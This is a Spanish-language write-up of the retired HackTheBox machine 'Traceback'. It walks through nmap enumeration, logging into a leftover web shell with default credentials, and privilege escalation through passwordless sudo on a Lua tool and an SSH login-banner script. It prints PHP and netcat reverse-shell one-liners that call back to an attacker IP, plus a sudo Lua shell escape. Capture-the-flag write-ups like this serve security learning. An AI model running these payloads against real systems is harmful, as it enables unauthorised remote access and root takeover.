HTB- WriteUp- Traceback

Buenas!

Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de TraceBack, que fue retirada recientemente. Una máquina muy sencilla para pasar un buen rato e ideal para los que estén empezando a jugar en la plataforma.

El write-up se divide en tres fases:

  • Enumeración
  • Explotación
  • Escalada de privilegios

Enumeración

En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:

Nmap scan report for 10.10.10.181
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nada interesante a priori, entrando por el puerto web, parece que el sitio ha sido pwned:

file://C:\Users\tf06021\AppData\Local\Temp\ct_tmp/1.png

Analizando el código fuente en los comentarios pone “ <!–Some of the best web shells that you might need ;)–>”

De primeras puede no ser relevante, pero tras hacer fuzzing y no encontrar nada se vuelve, al ser la única pista. Buscando en Google el texto exactamente:

https://github.com/TheBinitGhimire/Web-Shells

Probando las diferentes web-shells que parece se encuentra el login del panel de control:

¿Y las credenciales? Analizando el código PHP del github se identifican que por defecto son admin:admin.…y por suerte, el juanker no las ha cambiado y se puede acceder:

Muy del rollo de la familia c99.php 😉

Explotación

Tras la enumeración inicial y la identificación del acceso a la webshell, el objetivo es lograr acceso remoto, que aprovechando el escenario de partida es trivial.

En primer lugar, se ejecutan algunos comandos como whoami o uname -a para tener una primera vista de la máquina:

Empleando nuestro payload favorito se ejecuta logrando shell reversa. En este caso, se emplearon los siguientes:

php -r ‘$sock=fsockopen(«10.10.14.44»,1234);exec(«/bin/sh -i <&3 >&3 2>&3»);’

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 1234 >/tmp/f

Y llega la shell reversa a nuestro listener levantado previamente:

Escalada de privilegios

Una vez logrado el acceso remoto y partiendo desde el usuaraio webadmin, el objetivo es escalar privilegios para ser root.

En la propia carpeta del usuario, tenemos una nota:

La pista apunta a Lua…

Comprobando los check’s clásicos en una máquina linux:

  • No se «limpió» el fichero «.bash_history»:
  • El usuario se encuentra dentro del grupo «sudoers»:

El usuario tiene permisos de sudo sin necesidad de contraseña para ejecutar el fichero luvit.

Visto esto, se revisan los lolbins de linux para ver si aplica para lua:

https://gtfobins.github.io/gtfobins/lua/

El código que se necesitaría es:

sudo lua -e ‘os.execute(«/bin/sh»)’

A través de la enumeración anterior, se crea un fichero con el código para escalar privilegios tomado de la referencia anterior, el cual es llamado a través del fichero «luvit» que es ejecutado con permisos de sudo sin necesidad de contraseña:

Una vez que se es sysadmin, el siguiente paso es escalar a root. Para automatizar la enumeración se emplea LinEnum, obteniendo el siguiente hito:

Fue lo más llamativo, entonces buscando en Google, parece que es un vector empleado para escalar privilegios (además se ha empleado en otras máquinas)

https://blog.haao.sh/writeups/fowsniff-writeup/

En los siguiente pasos se siguen las referencias encontradas:

Se identifica el nombre del juanker en el header (más adelante se ve el sentido):

Parece que al hacer un login por SSH se ejecuta el código introducido:

Entonces se añade nuestra clave id_rsa a las claves autorizadas del equipo víctima. Para ello, si no se dispone de ella se puede hacer mediante ssh-keygen: ssh-keygen -t rsa

En donde se vio el banner anteriormente, en la carpeta header, es donde se ejecuta el comando que se desea ejecutar, en este caso lo más inmediato sería la flag de root:

Al conectarse por SSH se ejecuta:

Si se quisiera ser elegante y obtener una shell reversa para root, en el header se introduce el payload:

Se hace login por SSH:

Y llega la shell:

Nos vemos en la próxima entrada!

N4xh4ck5

La mejor defensa, es un buen ataque